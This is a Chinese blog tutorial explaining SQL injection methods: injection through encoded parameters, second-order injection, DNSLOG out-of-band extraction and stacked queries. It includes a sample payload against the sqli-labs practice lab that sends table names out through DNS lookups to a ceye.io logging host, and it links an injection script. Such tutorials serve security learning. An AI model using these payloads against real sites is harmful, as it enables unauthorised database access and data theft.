注入手法和思路(二)


加解密注入

网站请求数据到服务器时经过了base64等加密方式,数据到达服务器之后在解密成正常数据 所以我们在构造恶意代码时,要先解密出注入点数据再与其拼接后加密传输。

 

二次注入

二次注入是存储型注入,恶意数据被存储到数据库后只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,数据本身还是脏数据,在下一次查询时,从数据库中取出了脏数据,没有进行检验,这样就会造成二次注入

二次注入一般会产生在网站程序源代码才会发现的注入漏洞,从前端或者黑盒测试是看不到这个漏洞的

注入手法和思路(二)

 

 

DNSLOG注入

利用过程

DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息

通过代理商设置 ceye.io等域名 的 nameserver 到自己配置了dns server 的服务器上,再通过构造

http://127.0.0.1/sqli-labs/Less-9/?id=1′ and load_file(concat(“////”,(select group_concat(table_name SEPARATOR’-‘) from information_schema.tables where table_schema=’security’),”.xxxx.ceye.io//xxx.txt”))–+

把想要获取的数据库信息和dns服务器的域名拼接到一起写入txt文件中,通过load_file()函数文件读取域名解析到dns服务器上,这样就能在dns解析记录上看到 table_name .xxxx.ceye.io的解析记录,就能够获取到我们想要的信息

利用场景

在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显,我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功,这时候就要用到我们的DNSlog注入。

推荐平台 dnsloghttp://www.dnslog.cn ceye http://ceye.io/(需要注册)

py-DnslogSqlinj-dnslog脚本 工具地址 : https://github.com/adooo/dnslogsqlinj

需要使用python27环境

堆叠注入

;是sql语句的结束, 堆叠注入就是在sql语句结束后再写一条sql语句给数据库

区别在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句

使用条件

受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,mysqli_multi_query()函数就支持多条,实际中,PHP为了防止sql调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,

mysql/php sql server Postgresql 支持堆叠注入

原创文章,作者:745907710,如若转载,请注明出处:https://blog.ytso.com/245396.html

(0)
上一篇 2022年4月18日
下一篇 2022年4月18日

相关推荐

发表回复

登录后才能评论